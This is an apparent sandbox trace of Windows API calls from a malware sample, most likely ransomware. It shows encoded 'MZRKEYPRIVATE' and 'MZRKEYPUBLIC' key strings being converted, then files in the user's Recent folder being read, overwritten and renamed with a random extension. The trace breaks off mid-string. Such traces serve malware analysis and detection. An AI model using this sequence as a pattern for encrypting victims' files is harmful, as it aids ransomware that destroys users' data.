lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f758cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.291] GetCurrentThreadId () returned 0xa30 [0079.291] GetCurrentThreadId () returned 0xa30 [0079.291] GetCurrentThreadId () returned 0xa30 [0079.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f8692c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.292] GetCurrentThreadId () returned 0xa30 [0079.292] GetCurrentThreadId () returned 0xa30 [0079.292] GetCurrentThreadId () returned 0xa30 [0079.292] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.292] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.292] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.293] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xed3 [0079.293] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.293] ReadFile (in: hFile=0x124, lpBuffer=0x1f8e730, nNumberOfBytesToRead=0xed3, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesRead=0x18f96c*=0xed3, lpOverlapped=0x0) returned 1 [0079.295] CloseHandle (hObject=0x124) returned 1 [0079.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.297] WriteFile (in: hFile=0x124, lpBuffer=0x1f90760*, nNumberOfBytesToWrite=0xed3, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90760*, lpNumberOfBytesWritten=0x18f978*=0xed3, lpOverlapped=0x0) returned 1 [0079.299] CloseHandle (hObject=0x124) returned 1 [0079.301] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1ilxsFFPhAmnX.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\1ilxsffphamnx.lnk.zv7un")) returned 1 [0079.302] GetCurrentThreadId () returned 0xa30 [0079.302] GetCurrentThreadId () returned 0xa30 [0079.302] GetCurrentThreadId () returned 0xa30 [0079.302] GetCurrentThreadId () returned 0xa30 [0079.303] GetCurrentThreadId () returned 0xa30 [0079.303] GetCurrentThreadId () returned 0xa30 [0079.303] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d489860, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d489860, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d489860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="27DC21J8aR.lnk", cAlternateFileName="27DC21~1.LNK")) returned 1 [0079.303] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.303] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d489860, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d489860, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d489860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f2)) returned 1 [0079.303] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\27dc21j8ar.lnk")) returned 0x20 [0079.303] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\27DC21J8aR.lnk", dwFileAttributes=0x80) returned 1 [0079.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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